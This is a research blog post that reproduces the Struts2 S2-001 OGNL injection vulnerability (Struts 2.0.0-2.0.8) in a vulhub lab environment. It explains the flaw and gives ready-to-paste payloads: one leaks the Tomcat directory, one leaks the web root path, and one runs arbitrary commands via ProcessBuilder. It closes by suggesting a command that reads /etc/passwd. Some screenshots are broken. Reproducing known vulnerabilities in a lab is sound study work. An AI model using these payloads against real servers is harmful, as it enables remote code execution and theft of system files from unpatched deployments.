← Back to all posts
Web Vulnerability Reproduction and Analysis2 min read

[Research] Struts2 S2-001 Vulnerability Environment and PoC

This article describes the S2-001 vulnerability environment, underlying OGNL expression parsing flaw, affected Struts versions, exploitation process, and PoC.

#exploitation
Read in Chinese→

[Research] Struts2 S2-001 Vulnerability Environment and PoC

1. Environment

Environment
https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md
Setting up this environment is quick and convenient. See the instructions for details; it is very straightforward.

2. Technical Details

This vulnerability occurs because, when a user submits form data and validation fails, the backend parses the parameter values previously submitted by the user using the OGNL expression %{value}
and then repopulates the corresponding form fields. For example, when a registration or login submission fails, the backend generally returns the previously submitted data by default. Because the backend uses %{value}
to parse the submitted data as an OGNL expression, a payload can be constructed directly to execute commands.

3. Affected Versions

Struts 2.0.0 - Struts 2.0.8

4. Exploitation Process

Open the environment
![Insert image description here]
[Image upload failed…(image-5bcfcf-1563099334703)]image

The issue with this vulnerability is that input can be entered directly and its output displayed directly.
Paste the PoC into an input field and click Submit.
The data will then be submitted to the backend, which checks whether the value is empty and then returns it, satisfying the prerequisite for the vulnerability.

PoC

Obtain the Tomcat execution path:

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

![Insert image description here](/images/9dc0dffc-82cf-4c17-b59a-c82de1fd757a.png Obtain the web path:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

![Insert image description here](/images/93d9c9d9-a0e9-4b8d-95e0-83ef7000711f.png Execute an arbitrary command (command parameter: pwd):

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
```![在这里插入图片描述](/images/87f5c482-7b5f-48fd-b23b-e35792960e1b.png)

You need to construct the command yourself, for example:```
{"cat","/etc/passwd"}